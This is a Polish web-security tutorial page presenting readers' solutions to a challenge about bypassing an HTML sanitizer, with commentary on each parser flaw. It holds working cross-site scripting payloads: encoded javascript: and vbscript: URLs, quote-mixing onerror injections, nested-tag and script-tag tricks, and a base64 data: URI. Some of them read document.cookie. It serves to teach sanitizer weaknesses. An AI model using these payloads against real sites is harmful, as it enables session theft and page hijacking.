threats.pl > Bezpieczeństwo aplikacji internetowych > Lekcja 23: Oczyszczanie HTML jest trudne > Przykładowe rozwiązania zadania

Przykładowe rozwiązania zadania

UWAGA: Przez pewien czas część z przykładów, głównie te wykorzystujące encoding, nie działało poprawnie. Wynikało to ze zmiany przez home.pl wykorzystywanej wersji Pythona z 2.5 na 2.6 (lub nowszą). Między tymi wersjami istnieje subtelna różnica w implementacji klasy HTMLParser, która wykorzystana jest w tym przykładzie. Więcej szczegółów: Dlaczego przykład przestał działać.

Poniżej przedstawiam kilka rozwiązań zadania dotyczącego oczyszczania kodu HTML.

Prezentowane przykłady dotyczą:

Autorami prezentowanych przykładów są: Krzysztof, Kamil, Fabian oraz Piotr. Część z przykładów jest specyficzna dla przeglądarki, warto sprawdzić je na przykład zarówno w Internet Explorer jak i w Firefox.

Dla zainteresowanych: kod parsera wykorzystany w przykładzie.

Przykład I: javascript nie musi być na początku

Parser sprawdzając poprawność atrybutu src w tagu img weryfikuje, czy nie zaczyna się on javascript. Okazuje się, że fragment ten wcale nie musi być na początku, co demonstrują poniższe przykłady:

<a href="
javascript:alert(document)">a</a>
<a href=" javascript:alert(document)">a</a>

Niektóre przeglądarki (Internet Explorer) są dość liberalne, zaakceptują nawet coś takiego:

<a href="java
script:alert('test');">test</a>

JavaScript nie jest jedynym językiem skryptowym obsługiwanym przez przeglądarki, przynajmniej przez Internet Explorer. Dlatego działa w nim również taki przykład:

<img src="vbscript:msgbox(123)">

HTML jest językiem, w którym jeden znak można zapisać na bardzo wiele sposobów. Tak więc i javascript wcale nie musi wyglądać tak, jak się tego spodziewamy (działa w Firefox):

<a href="javascrip&#x74;:({0:#0=alert/#0#/#0#(123)})">test</a>
<a 
href="javascrip&#x74;:({set/**/$($){_/**/setter=$,_=123}}).$=alert">test</a>

Wszystkie powyższe przykłady są dowodem na nieskuteczność działania blacklisty, bo do tego sprowadza się sprawdzenie, czy (nie)występuje fragment javascript. Okazuje się jednak, że:

Przykład II: problemy z " i '

Dwa przykłady problemów, które wynikają z mieszania ze sobą znaków " oraz '. A konkretnie celowego mieszania tych znaków przez atakującego:

<img src='i_dont_exist" onerror="alert(document)'>
<img src='href"
onerror="alert(document.cookie);"><script>document.getElementById("warning").style.borderColor="#006600";document.getElementById("warning").style.backgroundColor="#009900";document.getElementById("warning").innerHTML="<h2>Gratuluje</h2><p>Część
druga zakończona...</p>";</script><i'>

Jest to ewidentny błąd parsera. Parser potraktuje ciąg ograniczony znakiem ' jako jeden atrybut. Atrybut ten zostanie następnie wypisany ponownie na stronę, ale już ograniczony znakami ". Problem pojawia się, gdy wewnątrz atrybutu znajduje się znak ", wówczas po "oczyszczeniu" z jednego atrybutu może zrobić się ich kilka... W rezultacie po "oczyszczeniu" pierwszy przykład przyjmuje następującą postać:

<img src="i_dont_exist" onerror="alert(document)" />

Przykład III: dziwna obsługa tagu <script>

Ten przykład częściowo demonstruje dziwną obsługę tagu script, a częściowo problem zwielokrotnienia tagów:

<script><script>alert("xxx")<</a>/</a>script>

Poniższy przypadek oparty jest już wyłącznie na dziwnej obsłudze tagu script:

<script><img src="x" onerror="javascript:alert(/XSS/)"></script>

Zasada działania powyższego przykładu jest prosta. Parser natrafiający na tag script szuka tagu zamykającego. Zawartość tagu script nie jest interpretowana jako HTML. Z tego powodu fragment:

<img src="x" onerror="javascript:alert(/XSS/)">

jest przez parser ignorowany, choć w normalnym przypadku zostałby odrzucony.

Na ten przykład warto zwrócić szczególną uwagę, ponieważ ma on znaczenie również w innych przypadkach. Jeśli dane przekazywane przez użytkownika wypisywane są w kontekście kodu JavaScript jako fragment stringu i odpowiednio kodowany jest znak " lub ', nadal można wykonać atak cross-site scripting o ile znaki < oraz > nie są właściwie kodowane. Należy przekazać tag </script>, wówczas przeglądarka uzna, że napotkała właściwy koniec bloku script. W dalszej części payloadu należy ponownie otworzyć tag script i osadzić swój kod.

Przykład IV: zagnieżdżanie tagów

Wykorzystany parser HTML nie jest zachłanny. Pod uwagę brany jest "najmniejszy" tag. Obrazuje to przykład:

<<wtf>form> <<xxx>button onClick=alert("xxx")> :D <<omgf>/button>
<<rotfl>/form>

Jak to działa? Sprawa jest nieco skomplikowana. Fragment:

<<wtf>form>

jest rozbijany przez parser na trzy części:

<
<wtf>
form>

Jako tag HTML jest traktowany fragment wtf. Pozostałe dwa fragmenty traktowane są jako zwykły tekst. Tag wtf nie znajduje się na liście tagów dopuszczalnych, jest więc usuwany. Pozostałe części tekstu wypisywane są bez modyfikacji, co w rezultacie daje nowy tag, w tym przypadku:

<form>

Problem mógłby zostać rozwiązany poprzez modyfikację skryptu w taki sposób, by stosował odpowiedni encoding dla fragmentów uznanych za tekst. Wówczas znaki < oraz > zawarte w przykładzie zostałyby zamienione na odpowiednie encje HTML. Pojawia się jednak problem: co w przypadku gdy jeden z użytkowników znak > odpowiednio zakoduje stosując encję &gt;? Dane należy normalizować, a dopiero później stosować właściwe kodowanie.

Przykład V: encoding

Normalizację danych należy stosować też przed ich analizą/oczyszczaniem. Przykłady:

<a
href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;&#x29;&#x0A;">leval
1</a>
<a 
href="&#74;&#97;&#86;&#97;&#83&#99;&#114;&#105&#80&#116;:&#x0061;&#x6C;&#x65;&#x72;&#x74;&#40;123)">test</a>

Pod tymi dziwnymi znaczkami kryją się w rzeczywistości następujące wartości:

javascript:alert(document.cookie)
JaVa&#83cr&#105&#80t:alert(123)

Warto upewnić się, czy dane, na których operujesz, widzisz tak samo jak przeglądarka.

Przykład VI: wykorzystanie data

Szczerze mówiąc myślałem, że będzie więcej przypadków wykorzystujących data (patrz też: Wykorzystanie data: do wstawienia skryptu):

<a 
href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxMjMpPC9zY3JpcHQ%2B">test</a>